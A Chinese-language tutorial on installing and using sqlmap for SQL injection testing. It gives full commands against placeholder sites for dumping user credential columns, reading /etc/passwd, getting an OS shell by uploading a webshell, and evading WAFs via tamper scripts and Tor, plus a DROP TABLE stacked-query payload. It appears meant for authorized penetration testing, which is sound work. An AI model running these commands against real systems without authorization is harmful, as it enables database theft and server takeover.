sqlmap 简介

  • sqlmap 是一个开源的 SQL 注入自动化检测与利用工具。
  • 它能够识别并利用多种数据库类型的 SQL 注入漏洞,包括 MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等。
  • 支持字符串注入、盲注、时间盲注、堆叠查询、文件读取、OS 交互等功能。
  • 适合安全测试、漏洞验证与数据库信息收集。

安装前准备

  • 需要 Python 3(推荐 3.8+)。
  • Windows 下可直接使用 Git Bash、PowerShell 或 cmd
  • Linux/macOS 下通常用终端安装。
  • 如果没有 git,可以直接下载 zip 包或通过 pip 安装。

安装方法

1. 通过 pip 安装(推荐)

1
2
python -m pip install --upgrade pip
pip install sqlmap

安装完成后,运行:

1
sqlmap --version

2. 从源码安装

1
2
3
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --version

3. Linux 包管理器安装

  • Debian/Ubuntu:
1
2
sudo apt update
sudo apt install sqlmap
  • Arch Linux:
1
sudo pacman -S sqlmap

注意:包管理器里的版本可能不是最新,建议用 pip 或最新版源码。

Windows 使用方法

  1. 下载源码:git clone https://github.com/sqlmapproject/sqlmap.git
  2. 进入目录:cd sqlmap
  3. 运行:
1
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs

如果已通过 pip install sqlmap,则直接:

1
sqlmap -u "http://example.com/vuln.php?id=1" --dbs

常用示例

基本扫描和数据库枚举

  • 扫描 URL 注入点并列出数据库:
1
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
  • 等价于:
1
sqlmap --url="http://example.com/vuln.php?id=1" --dbs

指定数据库和列出表

  • 发现目标数据库后,列出该库中的表:
1
sqlmap -u "http://example.com/vuln.php?id=1" -D target_db --tables
  • 再列出某张表的列:
1
sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users --columns

导出数据

  • 导出 users 表所有列的数据:
1
sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users --dump
  • 只导出某些列:
1
sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users -C id,username,password --dump

POST 请求注入

如果目标是 POST 数据:

1
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --dbs
  • 带 Cookie:
1
sqlmap -u "http://example.com/vuln.php?id=1" --cookie="PHPSESSID=abc123; uid=1" --dbs
  • 自定义 User-Agent:
1
sqlmap -u "http://example.com/vuln.php?id=1" --user-agent="Mozilla/5.0" --dbs
  • 自定义多个请求头:
1
sqlmap -u "http://example.com/vuln.php?id=1" --headers="Accept: text/html\r\nReferer: http://example.com/"

从文件读取请求

  • -r 加载 HTTP 请求文件:
1
sqlmap -r request.txt --dbs

request.txt 内容示例:

1
2
3
4
5
6
7
POST /login.php HTTP/1.1
Host: example.com
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=admin&password=123

指定注入参数

  • 指定 id 参数进行测试:
1
sqlmap -u "http://example.com/vuln.php?id=1" -p id --dbs
  • 测试多个参数:
1
sqlmap -u "http://example.com/search.php?q=abc&cat=1" -p q,cat --dbs

扫描数据库类型和注入技术

  • 指定数据库类型:
1
sqlmap -u "http://example.com/vuln.php?id=1" --dbms=mysql --dbs
  • 限定注入技术:
1
sqlmap -u "http://example.com/vuln.php?id=1" --technique=BEUSTQ --dbs

常见技术:

  • B = Boolean-based blind
  • E = Error-based
  • U = UNION query
  • S = Stacked queries
  • T = Time-based blind
  • Q = Inline query

自动化模式和并发

  • 自动确认所有问题,不交互:
1
sqlmap -u "http://example.com/vuln.php?id=1" --dbs --batch
  • 加快扫描速度:
1
sqlmap -u "http://example.com/vuln.php?id=1" --dbs --threads=10

常见参数解释

基础输入

  • -u, --url:目标 URL
  • --data:POST 数据
  • --cookie:Cookie
  • -p:测试的参数名
  • -r:从请求文件读取完整 HTTP 请求

枚举和导出

  • --dbs:列出数据库
  • -D:指定数据库
  • --tables:列出表
  • -T:指定表
  • --columns:列出列
  • --dump:导出数据
  • --count:统计行数,不导出数据

注入控制

  • --dbms:指定数据库类型
  • --os:指定操作系统
  • --technique:限定注入技术
  • --level:测试强度,默认 1,范围 1-5
  • --risk:攻击风险级别,默认 1,范围 1-3
  • --string:注入点返回的正常字符串
  • --time-sec:时间盲注等待秒数,默认 5

测试与绕过

  • --random-agent:使用随机 User-Agent
  • --proxy:通过代理发送请求
  • --tor:使用 Tor 网络
  • --tamper:使用 tamper 脚本绕过 WAF
  • --skip:跳过指定注入类型或测试

进阶功能

  • --os-shell:尝试获取操作系统 shell
  • --os-pwn:利用更高级操作系统攻击
  • --file-read:读取服务器文件
  • --file-write:写入文件到服务器(高危)
  • --os-cmd:执行 OS 命令
  • --sql-shell:启动交互式 SQL shell

诊断与调试

  • --batch:无需交互自动执行
  • --verbose:增加详细输出,值 1-6
  • --threads:设置并发线程数
  • --flush-session:清除当前目标的缓存结果
  • --fresh-queries:每次都使用新的查询,避免缓存影响

进阶实战范例

根据 Cookie 和 POST 数据检测

1
sqlmap -u "http://example.com/profile.php" --data="id=1&action=view" --cookie="PHPSESSID=abc123" -p id --dbs

限制条件:该命令适用于注入点位于 POST 参数或 Cookie 中的场景,不同的场景当然要用不同的命令。若目标使用 JSON 体、AJAX 请求、动态请求头等,需要调整 --data--cookie 并用 -p 明确指定注入参数。

指定数据列导出敏感信息

1
sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users -C id,username,password,email --dump

使用 --file-read 读取文件

1
sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"

限制条件

  1. 数据库权限必须为 高权限
  • MySQL:必须是 root 权限(file 权限 + 读写文件权限)
  • SQLServer:必须是 sa 权限
  • PostgreSQL:必须是 postgres 权限
  • 普通权限用户绝对无法使用 --file-read
  1. 数据库支持 读取本地文件 的函数 / 特性,不同数据库依赖不同原生功能:
  • MySQL:依赖 LOAD_FILE() 函数
  • SQLServer:依赖 xp_cmdshell / OPENROWSET
  • PostgreSQL:依赖 pg_read_file() 等函数
  • 这些函数默认可能被管理员禁用,禁用后无法读取文件
  1. 注入点必须是 读写权限高的注入类型,必须满足:
  • 堆叠查询注入(最稳)
  • 或 报错注入
  • 或 权限极高的联合查询注入
  • 简单的布尔盲注、时间盲注,基本无法用 –file-read(速度极慢 / 失败)
  1. 网站 / 数据库运行用户 有文件读权限
  • 数据库运行账户必须对目标文件(如 /etc/passwd、C:\boot.ini)有读取权限
  • 不能被 安全软件、系统权限、SELinux、AppArmor 拦截
  1. 绝对路径必须 完全正确
    必须写服务器绝对路径,不能写相对路径!
  • windows示例:

    1
    sqlmap -u "http://xxx.com/test.php?id=1" --file-read "C:\Windows\System32\drivers\etc\hosts"
  • Linux示例:

    1
    sqlmap -u "http://xxx.com/test.php?id=1" --file-read "/etc/passwd"

使用 --os-shell 进一步利用(授权测试)

1
sqlmap -u "http://example.com/vuln.php?id=1" --os-shell

限制条件

  1. 数据库用户必须是 最高权限
  • MySQL:必须是 root 权限(本地 root + 远程 root 都可以)
  • SQL Server:必须是 sa 权限
  • PostgreSQL:必须是 postgres 权限
  • 普通权限用户 100% 无法使用 os-shell
  1. 数据库必须开启 文件读写 + 上传权限,MySQL 需要:
  • secure_file_priv = “”(为空,不限制目录)
  • 允许使用 SELECT … INTO DUMPFILE
  • 不能是只读权限、不能被安全配置禁用
  1. 网站物理路径可写(最关键),sqlmap 会上传一个 php/aspx/jsp 木马到网站目录,必须满足:
  • 知道网站真实绝对路径
  • 该目录允许写入文件
  • 没有被安全软件禁止写入
  1. 注入点必须支持 堆叠查询(多语句执行)
  • 必须支持 ; 分号分隔多条 SQL 语句,例如:
    1
    ?id=1'; DROP TABLE test;
  • 只有堆叠注入,才能让 sqlmap 上传木马、执行系统命令

以下注入类型不能用 –os-shell:

  • 布尔盲注
  • 时间盲注
  • 报错注入(大部分情况不行)
  • 联合查询注入(大部分不行)
  1. 目标环境没有杀软 / 安全防护
  • 防火墙
  • D 盾
  • 安全狗
  • 云盾
  • 防护 WAF
  • 只要有拦截,上传木马会直接失败

使用建议

  • 先尝试 --dbs--tables--columns--dump 的顺序枚举。
  • 如果目标页面复杂,优先使用 -r request.txt 还原真实请求。
  • 遇到 WAF/过滤时,尝试 --tamper--random-agent
  • 避免非法使用,确保测试范围在授权目标内。

备注

  • 使用 sqlmap 进行测试时,务必获得合法授权。
  • 可以通过 sqlmap --help 查看更多参数和使用说明。
  • 安装后若出现权限或依赖问题,可先升级 pipsetuptools